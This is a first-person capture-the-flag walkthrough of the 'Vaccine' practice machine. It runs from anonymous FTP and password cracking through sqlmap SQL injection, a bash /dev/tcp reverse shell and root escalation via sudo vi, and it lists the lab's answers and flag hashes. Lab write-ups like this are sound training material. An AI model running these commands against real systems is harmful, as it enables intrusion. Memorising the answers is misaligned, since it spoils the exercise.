Vaccine (Tier 2)

Description

Tier -> 2
Difficult -> Very Easy
OS -> Linux
Tags -> Vulnerability Assessment / Databases / Custom Applications / Protocols / Source Code Analysis / Apache / PostgreSQL / FTP / PHP / Reconnaissance / Password Cracking / SUDO Exploitation / SQL Injection / Remote Code Execution / Clear Text Credentials / Anonymous-Guest Access

nmap 10.129.95.174 -p- -Pn --min-rate 2500 -oN scan.txt

Answer: ftp

Answer: anonymous

Then I did an exhaustive scan to learn more about the services running on the open ports

nmap 10.129.95.174 -p21,22,80 -sVC -oN serv_scan.txt

I found an HTTP service running on port 80 so I went to the browser to explore the content being deployed and found a website with just a login form. I tried using common credentials but didn't work, so I decided to search for a way to retrieve the correct credentials or to find other possible attack vectors

To learn more about the HTTP protocol you can go here

So I opted to review the FTP service that was running on port 21. We tried to log in as the default anonymous user not needing to provide any password, and it worked successfully. Then I listed the files there and found a backup.zip file, which downloaded and closed the connection

ftp 10.129.95.174

To learn more about the FTP protocol you can go here

Answer: backup.zip

Answer: zip2john

Then I tried decompressing the Zip file but it was protected with a password. I tried common and weak passwords but it still didn't work

unzip backup.zip

So I tried cracking the password helping me with the johntheripper set tool using the zip2john script to get the hash of the file. Then I checked the hash had been saved properly and cracked it using a wordlist, in this case, the well-known rockyou.txt dictionary

zip2john backup.zip > hash.txt
cat hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

I saw it worked successfully recovering the password 741852963 and after trying again I could decompress the file and extract its content

unzip backup.zip

Then I reviewed the two retrieved files and noticed that in the index.php file, which seemed to be the source code of the login page, I found how the site was handling the credentials verification. This let me know the username I was looking for was admin and the password was hashed using MD5. So to know the real value of the password I went to Crackstation and fortunately gave me the value of qwerty789 for the password

To learn more about MD5 and other hashing methods you can go here

Then I went to the website again and tried to log in with these leaked credentials, seeing how it worked and having access to a Car Catalogue panel

Answer: qwerty789

Answer: --os-shell

Exploring the site the only option that I had was a search bar, so I tried using it and noticed that the queries I was putting were being reflected in the URL. So I tried doing some XSS testing but didn't work, so maybe this wasn't the attack vector we were looking for

To learn more about Cross-site Scripting (XSS) technique you can go here

So as I saw it was working based on queries maybe the page was using SQL internally to retrieve the data from a database. So I tried putting an ' as input to see if this triggered an error that could give me any clue, and fortunately, it worked giving information about the SQL query. Also, I did some basic SQLi tests to confirm the vulnerability and in fact, it was working

To learn more about SQL Injection (SQLi) you can go here.

So to make faster the process for abusing this vulnerability, I used sqlmap specifying the integrated option it has to try to obtain a shell on the target through the database. But after trying, it didn't give me any results, so maybe I was missing something important

sqlmap -u 'http://10.129.95.174/dashboard.php?search=a' --os-shell

To make sure, I tried looking at the petition sent when I used the search engine, using FoxyProxy and Burpsuite. By surprise, I found a session cookie was being sent, so I needed to specify this to sqlmap to work properly. After doing this and retrying the attack I successfully got a shell from the system as the database user

sqlmap -u 'http://10.129.95.174/dashboard.php?search=a' --os-shell --cookie "PHPSESSID=7c81be8esvtsdivfi47afasnoq"

As the shell given by sqlmap is limited, I tried gaining a Reverse Shell to my machine through the os-shell, setting a Netcat listener, and sending the connection to the specified port. It worked properly, and after catching the connection, I sanitized the terminal to interact better with it

# On our terminal
nc -nvlp 4444

# On the os-shell
bash -c "bash -i >& /dev/tcp/10.10.14.117/4444 0>&1

To learn more about how to create a script for a Reverse Shell you can go here, and to learn about the sanitization process you can go here

As the Reverse Shell was still linked to the sqlmap connection, it usually dropped down and I had to redo the process, so I needed to create persistence in the session to work properly. To do this, I started searching in the files from the server in the standard folder /var/www/html. There, I found some source files from the web, and looking through them, we found that in the dashboard.php file, the password for the database user was also being leaked

So to leverage this, I tried connecting with those credentials via SSH and fortunately it worked, doing again the sanitization process to work more comfortably

To learn more about the SSH protocol you can go here

Now looking at the folder I was in, I listed the contents and found a user.txt file from which I retrieved the user flag

Now, what was left was to escalate privileges, so I used the command sudo -l to look for which privileged execution permissions this user had, and found that it had privileges for using the vi text editor over a specific file

Answer: vi

Answer: ec9b13ca4d6229cd5cc1e09980965bf7

Knowing this, I used the vi command with sudo, and as internally vi gives the option to execute external commands using the :! operator, I invoked a bash with privileges, which worked perfectly and gained a shell as the root user

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

# Inside vi
:!/bin/bash

To learn more about the sudo abuse for privilege escalation you can go here

Finally, I went to the /root folder to look at its content, noticing a root.txt file, to finally read its content and found the root flag

Answer: dd6e058e814260bc70e9bbdef2715849

Last updated 4 months ago